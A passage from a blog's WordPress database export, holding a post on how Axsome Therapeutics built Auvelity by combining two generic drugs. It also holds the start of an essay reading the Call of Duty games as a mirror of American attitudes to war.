href=\"https://substackcdn.com/image/fetch/$s_!9C5y!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254c5ef6-6b8a-465a-8beb-10bb1a36c1c6_1496x1136.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!9C5y!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254c5ef6-6b8a-465a-8beb-10bb1a36c1c6_1496x1136.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:&nbsp;</strong>all of these questions should be answered to the greatest extent possible&nbsp;<em>before</em>&nbsp;doing development. One of the biggest advantages of generic drugs is that you have a lot of information from the literature before you do any work yourself. You should take advantage of it!</p>\n<!-- /wp:paragraph -->','How to get rich combining generic drugs: lessons from Axsome','','publish','closed','closed','','how-to-get-rich-combining-generic-drugs-lessons-from-axsome','','','2025-07-03 19:49:44','2025-07-03 19:49:44','',0,'https://trevorklee.com/?page_id=540',0,'page','',0),
(541,1,'2025-07-03 19:49:44','2025-07-03 19:49:44','<!-- wp:paragraph -->\n<p><em>I adapted this blog post directly from a presentation I did for Cure Parkinson’s, a UK charity that’s devoted to, well, Curing Parkinson’s. They’ve been running very cool repurposing trials, and are interested in exploring combination therapies instead of straight repurposing. They asked me to present on how other diseases have approached combination therapies. I thought Axsome Therapeutics would be a particularly interesting company to look at, because they’ve recently been incredibly successful at combining generic drugs for novel indications.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Instead of doing this as a proper blog post, I thought I’d just copy-paste my slides into Substack, because I think they largely speak for themselves. Let me know if this works.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, this post is too long for email, so click on the title to be taken to the web link to read it in full.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since 2020, 5 of the ~250 drugs approved by the FDA have been combinations of generic drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!kNr5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d639f93-7d5d-4193-b219-85dc93ac663e_1600x826.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!kNr5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d639f93-7d5d-4193-b219-85dc93ac663e_1600x826.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>2 of those have been by Axsome Therapeutics, and have been great commercial successes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribe for more posts on drugs!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!T8r7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a924c24-ee5d-421a-89ed-c9fb0e6fab10_1397x996.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!T8r7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a924c24-ee5d-421a-89ed-c9fb0e6fab10_1397x996.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But how? Let’s figure out the questions that need to be asked and Axsome’s answers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>Figure out your mechanisms:&nbsp;</strong>what does each drug contribute individually?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2.&nbsp;<strong>Rationalize your combination:&nbsp;</strong>why do they need to be combined?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp;<strong>Make your formulations unique:&nbsp;</strong>why wouldn’t doctors just prescribe each drug separately?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4.&nbsp;<strong>Build your patent fortress:&nbsp;</strong>how do you prove this combination is novel and non-obvious?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5.&nbsp;<strong>Plan your trials:&nbsp;</strong>how do you take advantage of the data in the literature?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6.&nbsp;<strong>Work with payers and regulators early:</strong>&nbsp;how do you convince stakeholders to back the combination?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s look specifically into how Axsome did it with Auvelity (dextromethorphan-bupropion).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!ntGP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff5c8bf-6c78-4f29-b5de-911c65efc70a_1600x289.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!ntGP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff5c8bf-6c78-4f29-b5de-911c65efc70a_1600x289.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>Figure out your mechanisms:&nbsp;</strong>what does each drug contribute individually? Dextromethorphan is a rapid antidepressant and treatment for agitation in dementia. Bupropion is a long acting antidepressant and treatment for smoking cessation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!ilEQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c421dc5-bca0-4cd7-9041-4f5d03775f6a_1270x613.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!ilEQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c421dc5-bca0-4cd7-9041-4f5d03775f6a_1270x613.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!OCbx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3a2858f-39e0-425e-aca1-04afbe46e44d_713x490.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!OCbx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3a2858f-39e0-425e-aca1-04afbe46e44d_713x490.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!cI-g!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F97089525-0d3f-4fef-95ec-f85103f37085_2048x578.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!cI-g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F97089525-0d3f-4fef-95ec-f85103f37085_2048x578.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>2.&nbsp;<strong>Rationalize your combination:&nbsp;</strong>why do they need to be combined? PD and PK synergy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!db-W!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F160ea73e-31f0-4f61-9e92-50495889ce7b_1284x284.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!db-W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F160ea73e-31f0-4f61-9e92-50495889ce7b_1284x284.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!rCfz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F814cea89-1408-4f40-96b7-40eb8877e344_1256x370.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!rCfz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F814cea89-1408-4f40-96b7-40eb8877e344_1256x370.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp;<strong>Make your formulations unique:&nbsp;</strong>why wouldn’t doctors just prescribe each drug separately? 45 mg DXM and 105 mg ER bupropion are unique and impossible to obtain generically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!PKsp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e4fe253-d5e1-46e4-bb8c-78a8822b29d8_480x230.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!PKsp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e4fe253-d5e1-46e4-bb8c-78a8822b29d8_480x230.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!YTS6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4298d8c8-b40c-4f24-a339-2862bee04f05_809x1227.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!YTS6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4298d8c8-b40c-4f24-a339-2862bee04f05_809x1227.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!EfRk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0e8fa5c-b269-44bd-8339-173fa7df87ae_896x1148.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!EfRk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa0e8fa5c-b269-44bd-8339-173fa7df87ae_896x1148.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Patent fortress:&nbsp;</strong>how do you prove this combination is novel and non-obvious to get your patents and intellectual protection? You can get patents on method-of-use, formulation, and dosage form.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!h9JG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87af60ec-cd0e-47b7-8865-e0844814914f_1600x691.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!h9JG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87af60ec-cd0e-47b7-8865-e0844814914f_1600x691.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Plan your trials</strong>: how do you take advantage of the data in the literature to build out a comprehensive trial plan and get quickly to market? Do many phase 1 trials of the combination in healthy volunteers. They are the most important, because you know your mechanism of action and are confident on safety, you just don’t know how the drugs interact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Dpem!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc85dfcea-6bae-4403-9152-f7dd4e2dae16_2043x1145.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Dpem!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc85dfcea-6bae-4403-9152-f7dd4e2dae16_2043x1145.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!9FOS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6e1e339-552e-493e-9104-ad5810c5da52_1600x907.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!9FOS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6e1e339-552e-493e-9104-ad5810c5da52_1600x907.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Have patience! The stock didn’t take off until Axsome got good phase 2 results, which meant they had 4 years of Phase 1 trials that didn’t budge the stock price.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!T8r7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a924c24-ee5d-421a-89ed-c9fb0e6fab10_1397x996.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!T8r7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8a924c24-ee5d-421a-89ed-c9fb0e6fab10_1397x996.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Working with payers and regulators early:&nbsp;</strong>how do you convince stakeholders to back the combination?&nbsp;<strong></strong>The FDA needs to know why you need exclusivity and how you plan to handle it, and payers need to know where your combo fits in with established treatment plans (i.e. why they should pay for it).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Working with regulators</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!YqAJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e349c-6f95-4fc9-83c6-aa5f68b31bf1_1600x393.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!YqAJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e349c-6f95-4fc9-83c6-aa5f68b31bf1_1600x393.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Working with payers</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!9C5y!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254c5ef6-6b8a-465a-8beb-10bb1a36c1c6_1496x1136.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!9C5y!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254c5ef6-6b8a-465a-8beb-10bb1a36c1c6_1496x1136.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:&nbsp;</strong>all of these questions should be answered to the greatest extent possible&nbsp;<em>before</em>&nbsp;doing development. One of the biggest advantages of generic drugs is that you have a lot of information from the literature before you do any work yourself. You should take advantage of it!</p>\n<!-- /wp:paragraph -->','How to get rich combining generic drugs: lessons from Axsome','','inherit','closed','closed','','540-revision-v1','','','2025-07-03 19:49:44','2025-07-03 19:49:44','',540,'https://trevorklee.com/?p=541',0,'revision','',0),
(542,1,'2025-07-03 19:51:25','2025-07-03 19:51:25','<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/@trevorklee\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Warning: this is long. I originally wrote it for ACX’s “Everything But Books Review” contest. It didn’t make it into the finals, so I decided to write it here.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The three best selling videogame franchises of all time are, in order&nbsp;<em>Mario, Tetris,&nbsp;</em>and<em>&nbsp;Call of Duty</em>. It’s an interesting list, because each of them represents dramatically different visions of what videogames should be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Mario</em>&nbsp;represents the idea of videogames as light, escapist fantasy. It’s built around lovable, recognizable characters in a brightly colored fantastic world who alternately battle and play with one another. The morality is black and white, the stakes are never particularly high, and the franchise is never too worried to explain why Mario needs to defeat Bowser in combat one game and doubles tennis the next.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Tetris</em>&nbsp;is an abstract puzzle game that comes straight out of the former Soviet Union. It’s the paradigmatic example of videogames as abstract, logical puzzles in the same way that chess or checkers are. There are falling tetrominos (tetra meaning four, and mino from “domino”), and they need to be aligned in a 2d plane by rotating them. The joy of the game comes from shape rotating under time pressure. There are no stories, no characters, and no morals. The only concession to aesthetics is the annoyingly catchy theme song.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, there’s&nbsp;<em>Call of Duty</em>. Unlike&nbsp;<em>Mario</em>, a fantastical shell for innumerable types of games, or&nbsp;<em>Tetris</em>, an abstract instantiation of a singular puzzle,&nbsp;<em>Call of Duty</em>&nbsp;is, and has been, an annual, expensive showcase for a “realistic” combat simulator. Each year, millions of&nbsp;<em>Call of Duty</em>&nbsp;players buy the next annual installment so that they can pretend to be grizzled war veterans shooting and being shot by other grizzled war veterans, both computer-controlled and human alike.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!tb_x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b321f6b-1ab4-4ba4-9bae-b92abcb57825_250x357.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!tb_x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b321f6b-1ab4-4ba4-9bae-b92abcb57825_250x357.jpeg\" alt=\"Call of Duty (video game) - Wikipedia\" title=\"Call of Duty (video game) - Wikipedia\"/></a><figcaption class=\"wp-element-caption\">The first ever&nbsp;<em>Call of Duty</em>. Great name, great cover art. I love the guy pointing directly at you.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Because&nbsp;<em>Call of Duty</em>&nbsp;releases annually, and because it places an emphasis on realism (although never at the expense of fun), it has a unique pressure to be timely in a way that the other franchises do not. In other words, it tries to reflect the world that it was developed in, through the lens of the American developers who guide its development.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<em>Call of Duty</em>&nbsp;developers have taken this idea of reflection in different ways over the course of the franchise. Some installments of the franchise take this literally, and try to make the plot of the campaign mirror current geopolitical trends with the technology to match. Some installments of the franchise try less to reflect current trends and more to reflect current worries, with narratives of America’s fall and our adversaries’ rise. And many, many installments try to use current sentiments to reflect back on America’s past wars, most often WW2. Never before have so many young men in their basement wasted so much of their time for so little.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All in all, there have been 21 mainstream&nbsp;<em>Call of Duty&nbsp;</em>games, one for almost every year between 2003 and 2024 (2004 being the sole exception). They are an almost continuous, two decade long showcase into how America sees itself in relation to its foreign privileges and obligations, especially its military. It is the single most popular, most commercially successful lens into how America sees itself in relation to the outside world. Given the radical restructuring going on right now of that very subject, it’s worth taking a look back through&nbsp;<em>Call of Duty</em>&nbsp;titles to figure out how we got here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first&nbsp;<em>Call of Duty</em>&nbsp;had a simple goal: to make the most atmospheric WW2 shooter ever made. It would be first person; take you on a grand tour of the major WW2 battlegrounds through American, British, and Soviet soldiers; and it would make you feel like you were goddamn Audie Murphy. You’d shoot, throw grenades, lay down suppressive fire, and, unique for the shooters of the time, feel like you were playing a decisive role in massive battles along with your allies. You wouldn’t be a one man wrecking ball like Doom guy or Master Chief, but you would be a hero soldier.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The next two&nbsp;<em>Call of Duty</em>&nbsp;games, appropriately named&nbsp;<em>Call of Duty 2&nbsp;</em>and&nbsp;<em>Call of Duty 3</em>, were the same but better. In&nbsp;<em>2</em>, you’d defend Stalingrad as a Soviet private, destroy German tanks in North Africa as a British sergeant, and charge German bunkers as an American corporal. You’d do about the same in&nbsp;<em>3</em>, but this time as an American private, a British sergeant, a Canadian private, and a Polish corporal in the tank division. Thousands of Nazis would die by your hands by the time the campaigns were done, and your manly comrades would send up virtual cheers for you, assuming they also hadn’t died heroic deaths. Or, you know, you hadn’t accidentally shot them in the back when their AI pathing led them in front of your machine gun.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It was the next&nbsp;<em>Call of Duty</em>,&nbsp;<em>Call of Duty 4: Modern Warfare</em>, released in 2007, that the developers first considered making a more complicated political statement than “it was good and cool that the Allies won WW2”. This probably had something to do with the times. By 2005, when COD4 started development, it was becoming increasingly clear that, despite what George W. Bush had promised, the wars in Afghanistan and Iraq were not going to be savior stories. We were 4 years out from having resoundingly conquered Afghanistan and 2 years out from having conquered Iraq and yet, somehow, the wars were still going on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Worse yet, the people who we were supposed to have saved hated us. I mean, yes, most of Afghanistan had hated the Taliban and an even higher percentage of Iraq hated Saddam, but they also hated the Americans who were bombing their houses and roads. And if America hadn’t found Osama in Afghanistan or WMDs in Iraq, and the people there didn’t want us, what exactly were we doing there? Were we really just there for oil, like our critics said? Did anyone know?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>COD4 took that uneasiness and created a world out of it. Gone were the clear lines of good vs. evil of the past. You serve as British and American soldiers in the then near-future of 2011, trying desperately to unravel a tangled web of alliances between Russian nationalists and a Middle Eastern warlord before they unleash Cold War era nuclear weapons . Not only are allies and enemies not who they appear, but your player characters are no longer straightforward heroes. Your characters shoot men in the back, knife them as they sleep, and, in one mission, dispassionately annihilate them from 12,000 feet up in a Lockheed gunship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes, your characters fail, too. In the third level, you play as the erstwhile president of Saudi Arabia in the minutes leading up to his public execution. You can only look around helplessly as you’re driven to a stadium, your supporters executed in the street while you watch. Finally, you’re dragged out of the car, tied to a pole, and shot in the head.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, in the 10th mission, your player character, a redblooded American sergeant named Paul Jackson, is taken out by a nuclear strike after a seemingly successful rescue mission. You don’t just play as him as he heroically rescues a stranded pilot from certain doom. You also play as him after the helicopter that was meant to rescue you and that pilot is blown out of the air by a nuclear bomb. Your last few moments as Paul Jackson are spent crawling on the ground, devastation all around you, before you succumb to the effects of radiation poisoning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>War crimes, the uneasy reality of American military superiority in every war we fight, our numerous military failures despite this superiority: this is&nbsp;<em>Modern Warfare</em>. This is what the developers of&nbsp;<em>COD4</em>&nbsp;felt when they wanted to create a “realistic” war videogame in 2005. And they succeeded.&nbsp;<em>COD4</em>&nbsp;was by far the most successful entry in the nascent franchise, both in terms of critical success and in sales.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The next installations of&nbsp;<em>Call of Duty</em>&nbsp;took this idea and ran with it. First,&nbsp;<em>Call of Duty: World at War</em>&nbsp;went back to WW2. But this time, it focused on the Pacific theater, famous for its brutal island-hopping warfare. And&nbsp;<em>World at War</em>&nbsp;leaned into the brutality. You start as an American soldier, watching his comrades get tortured and executed by the Japanese on Makin Island. You quickly turn the tide, burning the Japanese out from their bunkers with flamethrowers as they cry out in pain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the time you finish playing as American Private C. Miller, you have committed dozens of war crimes and watched dozens more be committed in front of you. This prepares you for the next half of the game, where you play as a Soviet soldier, left for dead in a body-filled fountain in Stalingrad. Your sergeant, played by Gary Oldman (by this point, they had the big budgets to hire star actors), urges you to be as brutal towards the Germans as they were towards the Russians. Across the remaining missions of the game, you wade across a sea of blood as you and your fellow comrades surge towards the Reichstag.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Funnily enough, this push towards reality in&nbsp;<em>Call of Duty</em>&nbsp;also introduced what ended up being another&nbsp;<em>Call of Duty&nbsp;</em>mainstay, a push towards unreality with the zombie mode. Immediately after Private Petrenko plants a Soviet flag on the Reichstag, your next mission begins, as you fight off an endless horde of Nazi zombies with colorful powerups from soda cans. Or, to think about it another way, right Gary Oldman tells you that you need to treat German soldiers as if they’re not human, they literally become zombies with an unslakeable thirst for blood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The next&nbsp;<em>Call of Duty</em>,&nbsp;<em>Modern Warfare 2</em>, returned us to the near future, while further venturing into the heart of darkness.&nbsp;<em>MW2</em>&nbsp;was the first&nbsp;<em>Call of Duty</em>&nbsp;to allow killing of civilians without penalty, in one early mission where you, as a double agent, pretend to be a Russian terrorist laying siege to an airport. You don’t have to kill the civilians in the mission, but the game doesn’t punish you for doing so, and your comrades encourage it. That mission ends with the terrorist leader revealing that he knew you were a double agent all along, shooting you in the head and driving off in order to frame you, an American agent, for the massacre. The intended message: you have 